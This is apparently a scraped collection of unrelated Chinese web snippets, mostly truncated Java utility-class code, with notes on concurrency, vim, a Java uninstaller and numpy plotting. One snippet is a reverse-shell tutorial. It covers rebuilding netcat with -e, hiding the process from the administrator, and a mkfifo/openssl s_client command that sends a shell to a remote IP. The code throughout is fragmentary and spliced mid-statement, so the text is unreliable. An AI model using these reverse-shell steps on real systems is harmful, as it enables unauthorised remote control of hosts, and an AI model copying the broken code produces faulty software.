代码示例 import org.apache.commons.io.FileUtils; import java.io.File; import java.io.IOException; /** * @program: simple_tools * @description: Html2PDF * @author: Mr.chen * @create: 2020-06-09 09:39 * * @param src * @return * @throws IOException */ public static byte[] html2Pdf targetFilePath = getTmpFilePath(".pdf"); File descFile = new File(targetFilePath); html2Pdf System.currentTimeMillis() + suffix; } return null; } public static String html2Pdf
https://blog.csdn.net/a924382407/article/details/1219553492.java小工具util系列2:获取字符modelStr在字符串str中第count https://blog.csdn.net/a924382407/article/details/1219557374.java小工具util系列4:String[] 转 List< Integer > https://blog.csdn.net/a924382407/article/details/1219562015.java小工具util系列5:基础工具代码(Msg、PageResult、Response 、常量、枚举)https://blog.csdn.net/a924382407/article/details/1209528656.java小工具util系列6:java执行string返回boolean /a924382407/article/details/1219576079.java小工具util系列9:检测一个字符串是否是时间格式https://blog.csdn.net/a924382407/
高级多线程控制类Java1.5提供了一个非常高效实用的多线程包:java.util.concurrent, 提供了大量高级工具,可以帮助开发者编写高效、易维护、结构清晰的Java多线程程序。 这2个操作都是原子操作。 注意尽量用isEmpty,而不是size();CountDownLatch闭锁的使用管理类管理类的概念比较泛,用于管理线程,本身不是多线程的,但提供了一些机制来利用上述的工具做一些封装。 /entry/57339fe82e958a0066bf284f转载本站文章《java并发编程(2):Java多线程-java.util.concurrent高级工具》,请注明出处:https://www.zhoulujun.cn /html/java/KeyConcepts/8476.html
2.线程的并发工具类 2.1 Fork-Join JDK 7中引入了fork-join框架,专门来解决计算密集型的任务。 > t2) { int s1, s2; t2.fork(); if (((s1 = t1.doInvoke()) & ABNORMAL) ! = 0) t1.reportException(s1); if (((s2 = t2.doJoin()) & ABNORMAL) ! = 0) t2.reportException(s2); } 工作密取(Work Stealing) 在后台,fork-join框架使用了一种有效的方法来平衡可用线程的负载 task) { externalSubmit(task); } 2.2 CountDownLatch Latch是门栓的意思,顾名思义,CountDownLatch是一个多线程的控制工具类
java怎样完全卸载?怎么彻底删除java?有些用户的系统上会自带java程序,或者是因为安装了什么软件导致java一起安装了,那这个时候怎么将java卸载呢? 不清楚的用户,看看小米小编为大家推荐的一款非常好用的java卸载工具。 软件介绍 java卸载器是一款java完全卸载工具,当你的java出现了故障需要卸载重装的话,就可以使用这个软件完全卸载掉java的所有文件,可以完美解决java卸载不了、java卸载不干净等问题,而且不会有任何残留 软件特性 1、不需要安装即可使用; 2、一键卸载,简单方便; 3、卸载干净,无残留; 4、不会出现无法卸载的情况。 2、Windows 7的用户,必须使用管理员权限运行 使用方法 中文设置说明: 第一次打开 JavaRa 您看到的会是英文界面,软件内置了中文语言,设置方法如下 1、点击【Settings】 2、选择“
1.关于底行模式的一个设置 1.1设置行号 这个设置可以让我们在文本编辑器上面书写的代码的前面有行号的标注说明; 1.2取消行号 这个就是回复成为默认的设置,不显示每一行的行号 2.简单vim配置 2.1
(代码注释部分) package eg2; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Scanner; /****************** * 文件的复制 *******************/ public class Test2_3 out.write(buffer[i]); // } // } // in.close(); // out.close(); } } java ; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; /** * 压缩算法类 * 实现文件压缩,文件夹压缩,以及文件和文件夹的混合压缩
native2ascii.exe简介 java的转码工具,需要java.dll动态库和相关程序才能执行。 native2ascii.exe 是 Java 的一个文件转码工具,是将特殊各异的内容 转为 用指定的编码标准文体形式统一的表现出来,它通常位于 JDK_home\bin 目录下,安装好 Java SE JDK自带的工具native2ascii可以将uncode编码的文件转换为本地编码的文件,但是不能批量转换文件。 具体操作方法: 通过cmd命令进入DOS命令窗口进行如下操作: 通过native2ascii命令转码成功后,会生成一个转码: 备注:native2ascii.exe是一个应用比较简单的转码工具,并且转码是可逆的 假如你是在windows上安装了Javajdk,那么在jdk的安装目录下,去找一个叫bin的目录, 该目录下就有我们所需要的native2ascii.exe 工具,别在花积分去下载那20k的【native2ascii.exe
我回想起学习Java时的学习路线,直接操作数据库是其中一项重要内容,无论使用哪种编程语言,与数据库的交互都是不可避免的。然而,直接操作MySQL数据库似乎缺乏趣味性,毕竟每天都在写SQL语句。 就像当初学习SQL时,如果没有Navicat这个可视化工具,就会感觉力不从心一样。 总的来说,相比Java,Python的SDK使用起来更加舒适。如果你曾经使用过Java SDK与平台接口对接,就会发现Python SDK上手更快。jaba
代码示例 package com.simple.util.io; import org.apache.commons.io.IOUtils; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; /** * @program: simple_tools * @description
话题一转,说说今天的主角:2个工具,一个是抓包工具Charles,一个是API调试工具Postman。 之前一直使用Chrome app版本,最近这个版本不维护了,提示使用应用程序版本,这个工具使用比较简单,我就说说我觉得比较棒的功能。
利用netcat反弹shell Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包 /configure make && make install make clean 安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。 # 最后面那个&为的是防止管理员无法输入命令 当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell 利用Socat反弹shell Socat是Linux 下一个多功能的网络工具 这时在目标机进行反弹 shell 操作,命令为: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47
(y[0][0],y[-1][0],y.shape[0]*2) x2, y2 = np.meshgrid(x2, y2) u10_2 = interp(u10, x[0], np.flipud(y [:, 0]), x2, np.flipud(y2),order=1) v10_2 = interp(v10, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2), = np.meshgrid(x2, y2) data2 = interp(data, x[0], np.flipud(y[:, 0]), x2, np.flipud(y2),order=1) lons2 , lats2 = map(x2, y2, inverse=True) mdata = maskoceans(lons2, lats2, data2, resolution = 'c', grid = = '0.15') map.contourf(x2, y2, mdata) plt.figure(3) mdata = maskoceans(lons2, lats2, data2, resolution
--ZIP工具--> <dependency> <groupId>net.lingala.zip4j</groupId> <artifactId com.simple.util.base.extend.zip; import net.lingala.zip4j.core.ZipFile; /** * @program: simple_tools * @description: ZIP解壓工具
; import java.net.URLDecoder; import java.net.URLEncoder; /** * @program: simple_tools * @description : Cookie 工具类 * @author: ChenWenLong * @create: 2019-12-31 11:58 **/ public class CookieUtils { * 功能描述: * 〈得到Cookie的值, 不编码〉 * * @params : [request, cookieName] * @return : java.lang.String // www.xxx.com.cn domainName = domains[len - 3] + "." + domains[len - 2] <= 3 && len > 1) { // xxx.com or xxx.cn domainName = domains[len - 2]
代码示例 package com.simple.util.file; import java.io.File; import java.net.URL; import java.util.ArrayList ; import java.util.List; /** * @program: simple_tools * @description: 文件工具类 * @author: ChenWenLong } /** * 功能描述: * 〈获取文件的绝对路径〉 * * @params : [fileName] * @return : java.net.URL ); } /** * 功能描述: * 〈查询某个目录下的所有文件〉 * * @params : [dir] * @return : java.util.List <java.io.File> * @author : cwl * @date : 2019/12/31 10:08 */ public static List<File
简单工具类 写作初衷:由于日常开发经常需要用到很多工具类,经常根据需求自己写也比较麻烦 网上好了一些工具类例如commom.lang3或者hutool或者Jodd这样的开源工具,但是 发现他们之中虽然设计不错 做到.在此诚邀各位大佬参与.可以把各自用过的工具,整合成只依赖JDK,每个类都能够单独 使用的工具.每个人当遇到业务需求需要使用的时候,只需要到这里单独拷贝一个即可使用. 介绍 遵从两大原则 1.绝不依赖JDK以外的源码 2.牺牲代码复用性,每个类都必须是单独的组件,绝不互相引用,做到完全解耦 package *; import java.util.concurrent.CancellationException ; import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; /** * @program: simple_tools *
javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; import java.security.NoSuchAlgorithmException ; import java.security.SecureRandom; import java.security.Security; /** * @program: simple_tools * Cipher.DECRYPT_MODE, key); byte[] code = cipher.doFinal(inputBytes); return ByteUtil.byte2Str
简单工具类 写作初衷:由于日常开发经常需要用到很多工具类,经常根据需求自己写也比较麻烦 网上好了一些工具类例如commom.lang3或者hutool或者Jodd这样的开源工具,但是 发现他们之中虽然设计不错 ,但是如果我想要使用,就必须要引入依赖并且去维护依赖,有些 甚至会有存在版本编译不通过问题,故此想要写作一个每个类都可以作为独立工具类使用 每个使用者只需要复制该类,到任何项目当中都可以使用,所以需要尊从以下两个原则才能 做到.在此诚邀各位大佬参与.可以把各自用过的工具,整合成只依赖JDK,每个类都能够单独 使用的工具.每个人当遇到业务需求需要使用的时候,只需要到这里单独拷贝一个即可使用. 介绍 遵从两大原则 1.绝不依赖JDK以外的源码 2.牺牲代码复用性,每个类都必须是单独的组件,绝不互相引用,做到完全解耦 package *; import java.util.ArrayList ; import java.util.List; /** * @program: simple_tools * @description: 分页工具类 * @author: ChenWenLong
--汉语拼音工具--> <dependency> <groupId>com.belerweb</groupId> <artifactId> net.sourceforge.pinyin4j.format.exception.BadHanyuPinyinOutputFormatCombination; import org.apache.commons.lang3.StringUtils; /** * @program: simple_tools * @description: 拼音工具类 convertNumberToHanzi(int i) { if (i == 1) { return "一"; } if (i == 2) str.replaceAll("一", "1"); } if (str.contains("二")) { str = str.replaceAll("二", "2"